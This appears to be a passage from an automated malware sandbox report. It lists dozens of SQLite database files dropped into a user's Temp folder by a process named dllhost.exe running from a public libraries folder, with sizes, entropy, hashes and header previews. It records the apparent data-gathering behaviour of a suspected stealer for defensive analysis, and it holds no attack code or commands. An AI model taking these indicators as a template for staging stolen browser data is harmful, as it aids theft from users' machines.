                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\7Ru6QKnIyh

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\7l2TvkYKUe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\7xw9K0Vs4e

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\7yvczm4UKa

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\862bOIHwAa

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\8Bal7CcLLu

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\8QYwr1NcoC

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\8mDSqW5T84

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\8ugCGQ605o

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\9JXz2fTl66

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\9OQSg0muqg

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\9YeTnUl3j3

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\9Z31BB9G9L

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\9q3i9kaHMe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\9ulHNM4Fuf

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\9xVfXjhke8

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\9xkQPTPybE

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\ASNBulrIEI

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Afl4KmaxHB

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\AwkODB6atC

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\B4BLAnyJWo

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\B4fFJnGqzn

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
